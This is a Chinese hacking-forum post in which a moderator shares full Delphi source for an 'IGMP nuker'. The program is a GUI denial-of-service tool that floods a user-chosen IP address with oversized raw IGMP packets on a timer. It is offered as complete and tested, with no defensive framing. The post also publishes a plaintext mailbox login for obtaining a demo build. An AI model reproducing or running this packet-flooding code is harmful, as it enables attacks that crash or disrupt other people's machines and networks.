20CN网络安全小组论坛 - 编程破解

论坛: 编程破解标题: IGMP NUKER

作者: cimsxiyang [cimsxiyang]

版主

DELPHI实现 IGMP NUKER。
以下是完整的源代码，在2K，DELPHI6 调试通过。
要演示程序的还是到
20cnxiyang@21cn.com
user:20cnxiyang
pass:20cnxiyang
-----------------------------------------------------------
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Spin, StdCtrls,winsock, Buttons;

type
  TFormMain = class(TForm)
    Panel1: TPanel;
    GroupBox1: TGroupBox;
    Panel2: TPanel;
    BitBtn1: TBitBtn;
    BitBtn2: TBitBtn;
    BitBtn3: TBitBtn;
    BitBtn4: TBitBtn;
    Label1: TLabel;
    Label2: TLabel;
    Label3: TLabel;
    Label4: TLabel;
    EditTARGET: TEdit;
    SpinEditPACKETSIZE: TSpinEdit;
    SpinEditTIMES: TSpinEdit;
    SpinEditDELAY: TSpinEdit;
    Timer1: TTimer;
    procedure BitBtn4Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure BitBtn1Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormMain: TFormMain;
  TargetAddr:TSockAddr;
   PacketSize:Integer;
   Times:Integer;
   RawSocket:TSocket;
   b00m:pchar;

implementation

{$R *.dfm}

procedure TFormMain.BitBtn4Click(Sender: TObject);
begin
close;
end;

procedure TFormMain.FormCreate(Sender: TObject);
var
     wsaData:TWSAData;
begin
if WSAStartup( MakeWord( 1, 2 ), wsaData ) <> 0 then begin
        ShowMessage( 'error!' );
        Application.Terminate;
     end;

end;

procedure TFormMain.BitBtn1Click(Sender: TObject);
begin
RawSocket := socket( AF_INET, SOCK_RAW, IPPROTO_IGMP );

     if RawSocket = INVALID_SOCKET then begin

        ShowMessage( 'IGMP error' );
        Application.Terminate; // quit
     end;

     Timer1.Interval := SpinEditDELAY.Value ;
     PacketSize := SpinEditPACKETSIZE.Value;
     Times := SpinEditTIMES.Value;
     TargetAddr.sa_family := AF_INET;

     TargetAddr.sin_port := htons( 100 ); // port 100
     TargetAddr.sin_addr.S_addr := inet_addr( pchar( EditTARGET.Text ));

     if connect( RawSocket, TargetAddr, sizeof(TargetAddr)) <> 0 then begin
               ShowMessage( 'ip address error!' );
        closesocket( RawSocket );
        exit;
     end;

     getmem( b00m, PacketSize );
          if b00m = NIL then begin
        ShowMessage( 'memory error!' );
        closesocket( RawSocket );
        Application.Terminate;
     end;
     BitBtn1.Enabled := False;
     BitBtn2.Enabled := True;
     Timer1.Enabled := True;

end;

procedure TFormMain.BitBtn3Click(Sender: TObject);
begin
showmessage('any bugs?tell me : bootshell@21cn.com');
end;

procedure TFormMain.BitBtn2Click(Sender: TObject);
begin
Timer1.Enabled := False;

     FreeMem( b00m );
     closesocket( RawSocket );
     BitBtn2.Enabled := False;
     BitBtn1.Enabled := True;
     showmessage('¹¥»÷Íê±Ï£¡');

end;

procedure TFormMain.FormDestroy(Sender: TObject);
begin
WSACleanup;

end;

procedure TFormMain.Timer1Timer(Sender: TObject);
begin
if Times = 0 then begin
        BitBtn2Click( Sender );
        exit;
     end;
    send( RawSocket, b00m, PacketSize, 0 );
     dec( Times );

end;

end.

地主发表时间: 04/25 22:27